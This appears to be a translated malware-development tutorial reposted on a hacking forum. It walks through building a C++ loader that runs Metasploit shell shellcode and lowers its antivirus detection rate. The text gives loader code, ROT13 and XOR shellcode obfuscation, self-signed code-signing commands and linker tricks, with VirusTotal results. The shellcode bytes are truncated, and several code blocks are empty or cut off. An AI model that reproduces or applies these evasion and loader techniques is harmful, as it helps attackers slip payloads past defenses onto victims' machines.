malware-development
malware-development
com
xss.is/threads/37624
!!!Disclaimer!!!
All information provided in this article is for informational purposes only. The site
administration and the translator of this article are not responsible for any consequences
or damage from reading it. All information is provided to point out possible errors in
antivirus software vendors.
Introduction
This is the first post in a series of tutorials on malware development. In this tutorial series, we will
look at and attempt to implement several techniques used by malware to execute code, hide from
protection, and persist on the system.
Let's create a C++ application that will run malicious shellcode while trying to avoid being caught by
antivirus software.
Why C++ and not C# or PowerShell script? Because it is much harder to analyze a compiled binary
compared to managed code or script.
For this and the following articles we will use MS Visual Studio 2017 on Windows 10 version 1909.
- signature-based detection - static checking of file checksums (MD5, SHA1, etc.) and the presence
of known strings or bytes in binary code,
- heuristic detection - (usually) static analysis of the application's behavior and identification
of potentially malicious characteristics (e.g. use of certain features that are commonly
associated with malware),
- sandbox - dynamic analysis of a program that is executed in a controlled environment
(sandbox), where its actions are monitored.
There are many methods that evade different detection mechanisms. For example:
- polymorphic (or at least frequently recompiled) malware can defeat signature-based detection,
We'll start by creating a new project - Windows C++ Console Application (x86).
Shellcode generation
We will use Metasploit to generate malicious shellcode - let it be tied to a TCP shell.
Shellcodes are pieces of machine code designed to launch a local or remote system shell (hence
the name). They are primarily used during software exploitation - when an attacker can control the
execution flow of a program, they require some generic payload to perform the desired action
(usually shell access). This applies to both local exploitation (e.g. to escalate privileges) and remote
exploitation (to obtain RCE on a server).
Shellcode is boot code that uses known platform-specific mechanics to perform certain actions
(create a process, initiate a TCP connection, etc.). Windows shellcodes typically use TEB (Thread
Environment Block) and PEB (Process Environment Block)
Block) to find the address of loaded system libraries (kernel32.dll, kernelbase.dll, or ntdll.dll), and
then "looks through" them to find the addresses with the LoadLibrary and GetProcAddress
functions, which can then be used to find other functions.
The generated shellcode can be included in the binary as a string. The classic implementation of a
char array involves casting that array to a pointer to a function like this:
C:
void (*func)();
func = (void (*)()) code; func();
Or with this classic one-liner that I never got right the first time:
C:
(*(void(*)()) code)();
However, I found that it is impossible to execute data on the stack due to data execution prevention
mechanisms (especially when the data on the stack is protected from execution). While this is easy to
do with GCC (with the -fno-stack-protector and -z execstack flags), I was unable to do it with Visual
Studio and the MSVC compiler. Well, it doesn't really matter.
Note: It may seem pointless to execute shellcode in an application, especially since we can simply
implement its functions in C/C++. However, there are situations where a custom loader needs to be
implemented or an injector needs to be implemented (e.g. to run shellcode generated by another
tool). In addition to executing known malicious code (such as Metasploit shellcode), this is a good
POC to test detection mechanisms and workarounds.
Executing shellcode
The actual way to execute the shellcode is a little different. We have to:
- allocate a new memory area using the Windows API VirtualAlloc function (or VirtualAllocEx
for remote processes),
- fill it with shellcode bytes (for example, using the RtlCopyMemory function, which is basically a
memcpy wrapper),
- create a new thread using the CreateThread or CreateRemoteThread functions,
respectively.
Shellcode can also be executed using a char array, provided that the memory area where the
shellcode resides is marked as executable.
C:
# include <Windows.h>
void main()
{
const char shellcode[] = "\xfc\xe8\x82 (...)";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode); DWORD
threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0,
&threadID);
WaitForSingleObject(hThread, INFINITE);
}
Before publishing our executable, we must make sure to remove some artifacts from the binary. It is
recommended to discard any symbols and debug information - this can be achieved by switching the
build configuration to "Release" and disabling debug information generation (linker configuration in
project properties).
Specifically, when using Visual Studio, the PDB (Program Database) path is embedded in the binary by default.
The PDB is used to store debugging information, and the file is stored in the same directory as the executable (or
DLL) itself. This path may give away some sensitive information - just imagine something like "C:
\users\nameSurname\Desktop\companyName\clientName\valuationDate\MaliciousApp\Release\app.exe".
How about a binary with embedded shellcode that executes immediately upon startup?
The detection rate is slightly lower for our executable.
Shellcode obfuscation
The first thing that comes to mind is to modify the shellcode to avoid static signatures based on its
contents.
We can try the simplest "encryption" - apply the ROT13 cipher to all bytes of the embedded shellcode
- so 0x41 becomes 0x54, 0xFF becomes 0x0C, and so on. At runtime, the shellcode will be
"decrypted" by subtracting the value 0x0D (13) from each byte.
C:
# include <Windows.h>
void main()
{
const char shellcode[] = "\x09\xf5\x8f (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode); DWORD
threadID;
for (int i = 0; i < sizeof shellcode; i++) {
We can also use XOR encryption (with a constant one-byte key) instead of Caesar encryption:
C:
for (int i = 0; i < sizeof shellcode; i++) {
Analyzing the behavior of malware detection systems on VirusTotal, we can see that even a program
that does virtually nothing is flagged as malicious by several antivirus engines.
C:
void main()
{
return;
}
This means that we need to deploy some methods that are not necessarily related to the malicious
shellcode itself.
Some malware detection mechanisms may flag unsigned binaries as suspicious. Let's create a code
signing infrastructure - we'll need a certificate authority and a code signing certificate:
Bash:
makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk
MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk
MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
After running the above commands, we generated the "Malwr" CA, imported it into our certificate
store, created a code signing certificate in .pfx format, and used it to sign the executable.
Note: Signing the executable can be configured as a post-build event in the Visual Studio project
properties:
Bash:
Related Libraries
While playing around with the compilation and linker properties of a Visual C++ project, I found that
when you remove extra dependencies from the linker options (especially kernel32.lib), some
malware protection mechanisms stop flagging the resulting executable as malicious. Interestingly,
the static library kernel32.lib will still be statically linked after compilation, because the executable
needs to know where to find the core API functions (from kernel32.dll).
It's 2020, and I think most computers (especially user workstations) are running 64-bit systems. Let's
generate a shell payload for the x64 architecture and check it on VirusTotal:
Bash:
The detection rate is significantly lower than for the x86 counterpart (23/51):
A compiled application that uses the same methods as before has a very low detection rate:
Resume
We created a simple shellcode loader and were able to significantly reduce its detection rate using
some simple techniques. However, it is still detected by Microsoft Defender!
In the next article, we will focus on sandbox detection and evasion techniques.
Source: https://0xpat.github.io/Malware_development_part_1/
Translation author: yashechka
Translated specifically for the XSS.is portal (c)